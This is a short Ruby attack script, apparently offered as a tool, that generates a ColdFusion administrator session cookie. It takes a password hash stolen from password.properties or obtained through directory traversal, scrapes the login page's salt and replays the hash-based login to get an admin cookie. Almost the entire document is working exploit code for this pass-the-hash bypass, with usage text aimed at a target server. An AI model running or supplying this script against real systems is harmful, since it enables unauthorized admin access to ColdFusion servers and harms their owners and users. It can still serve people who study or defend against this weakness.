Coldfusion Admin Cookie Generator

cfadmin-cookie-grabber.rb

#!/usr/bin/env ruby
require 'net/http'
require 'openssl'
require 'optparse'

x=nil
options = {} #hash that hold the options
o=OptionParser.new do |opts|
   opts.banner = "This script generates a Coldfusion admin cookie when supplied a correct admin hash
   example: #{$0} -u 'http://target/CFIDE/administrator/enter.cfm' -p 80A62F93ABLAH2BF9ASJHDBBLAH1EB7128142FB " #the banner to display at the top
   opts.on( '-u', '--url CFURL', 'The Coldfusion admin login URL' ) {|i| options[:url] = i}
   opts.on( '-p', '--password HASH', 'The hashed password copied from password.properties or from dir trav' ) {|i| options[:password] = i}
   opts.on( '-h', '--help', 'Display this screen' ) {puts opts; exit}
   x=opts
end.parse!(ARGV)
if options[:url].nil? or options[:password].nil?
 puts x
 exit 1
end

url = URI.parse(options[:url])
password = options[:password]

def grab_salt(url)
  res = Net::HTTP.get_response(url)
  salt = res.body.match(/\<input name="salt" type="hidden" value=\"(.*)\"\>/i)
  salt = $1
end

salt = grab_salt(url)

hash = OpenSSL::HMAC.hexdigest('sha1', "#{salt}", "#{password}")

res = Net::HTTP.post_form(url, {
                                      "cfadminPassword" => "#{hash.upcase.chomp}", 
                                      "requestedURL" => "url.path", 
                                      "salt" => "#{salt}", 
                                      "submit" => "login"})
if res.code == '302' and res['set-cookie'].nil? == false #correct auth will redirect and set new cookies
  puts "Visit #{options[:url]} using this cookie: \n #{res['set-cookie'].match /CFAUTHORIZATION_cfadmin=[^;].*/}"
else
  puts "Could not authenticate with the URL/Hash. Doublecheck your inputs."
end
puts